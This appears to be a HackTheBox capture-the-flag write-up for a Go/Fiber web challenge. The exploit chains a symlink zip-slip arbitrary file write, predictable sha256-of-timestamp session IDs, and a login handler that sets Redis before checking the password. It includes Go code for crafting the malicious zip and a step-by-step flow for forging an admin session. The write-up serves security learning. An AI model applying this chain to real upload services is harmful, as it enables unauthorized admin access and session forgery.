pwneglyph logo
web web-server golang fiber zip-slip tar-slip symlink archive-extraction arbitrary-file-write write-what-where session-forgery redis race-condition toctou predictable-session-id

Sessions are JSON files at /tmp/sessions/<user>/<id> loaded by username→id from Redis. A tar/zip symlink entry (sessions -> /tmp/sessions/<user>) turns extraction into write-what-where, planting a role:admin session file. Because login sets the Redis username→sessionID mapping BEFORE checking the password, a deliberately-failed login binds your forged file without overwriting it — then manual cookies hit /admin as admin.

Desires — zip-slip symlink + Redis-before-login race → admin session

Platform: HackTheBox · Category: Web (server-side) · Stack: Go (Fiber) main service + Node SSO, Redis, mholt/archiver

Challenge overview

A Go/Fiber app with an archive-upload feature. Goal: reach /user/admin, which only renders the flag if your session's role == "admin":

if userStruct.Role == "admin" {
    return c.Render("admin", fiber.Map{"FLAG": os.Getenv("FLAG")})
}

Sessions are JSON files on disk, looked up indirectly: Redis maps username → sessionID, and the session body is read from /tmp/sessions/<username>/<sessionID>:

func GetSession(username string) (*User, error) {
    sessionID, _ := utils.RedisClient.Get(username)
    sessionJSON, _ := os.ReadFile(filepath.Join("/tmp/sessions", username, sessionID))
    json.Unmarshal(sessionJSON, &session)   // {"username":..,"id":..,"role":..}
}

If we can write a /tmp/sessions/<user>/<id> file whose JSON says role:admin, and make Redis point at that <id>, we win.

UploadEnigma extracts the uploaded archive into ./files/<username>/ with archiver.Unarchive. The extractor blocks .. traversal, but not symlinks. Build an archive containing:

  • a symlink entry sessions/tmp/sessions/<username> (absolute target), and
  • a regular file sessions/<sessionID> with {"username":"<user>","id":2,"role":"admin"}.
// craft_zip.go
symlinkHeader.SetMode(os.ModeSymlink | 0777)
symlinkWriter.Write([]byte("/tmp/sessions/" + username))   // "sessions" -> /tmp/sessions/<user>
fileWriter, _ := zipWriter.Create("sessions/" + sessionID) // writes THROUGH the symlink
fileWriter.Write([]byte(`{"username":"victim","id":2,"role":"admin"}`))

On extraction, sessions becomes a symlink and the second entry is written through it, dropping our admin JSON straight into /tmp/sessions/<user>/<sessionID>.

Step 2 — predictable session IDs

sessionID = sha256(unix_seconds) — fully predictable:

sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10))))

So we can compute the exact filename the app would use for a login at a chosen second.

Step 3 — the real bug: Redis is set before the password check

The original instinct was a tight race against CreateSession overwriting our file. But LoginHandler sets the Redis mapping before validating credentials:

err := PrepareSession(sessionID, credentials.Username)   // Redis: username -> sessionID  (always)
user, err := loginUser(credentials.Username, credentials.Password)  // password check AFTER
if err != nil { return ErrorResponse(c, "Invalid username or Password", 400) }
sessId := CreateSession(sessionID, user)                 // writes the real file (only on success)

So a failed login still binds username → sessionID in Redis but never writes the on-disk session file — leaving our planted admin file in place. Flow:

1. predict sessionID for a near-future second; craft evil.zip (symlink + sessions/<id> admin JSON)
2. upload evil.zip as the attacker  -> file lands at /tmp/sessions/victim/<id>
3. at the chosen second, log in as victim with a WRONG password
   -> Redis now maps victim -> <id>, but no real session file was written (login failed)
4. send cookies session=<id>; username=victim and GET /user/admin -> role:admin -> FLAG

(See solve/solve/solve.go — no overwrite race needed once you notice the Redis-set ordering.)

Takeaways (generalized techniques)

  • Symlinks defeat naive zip/tar-slip guards. Extractors that block .. but honor symlink entries let you smuggle a name -> /abs/target link, then write a following entry through it for arbitrary write-what-where outside the extraction root.
  • File-backed sessions keyed by a predictable ID = session forgery once you have an arbitrary write into the session dir. sha256(unix_seconds) (or any time/counter-derived ID) is attacker-computable.
  • Order-of-operations auth bugs: when a side effect (Redis mapping, session prep, audit row) is written before the credential check and not rolled back on failure, a deliberately failed request becomes a usable primitive. Always read whether the "bind" happens before or after the "verify".

Sources & references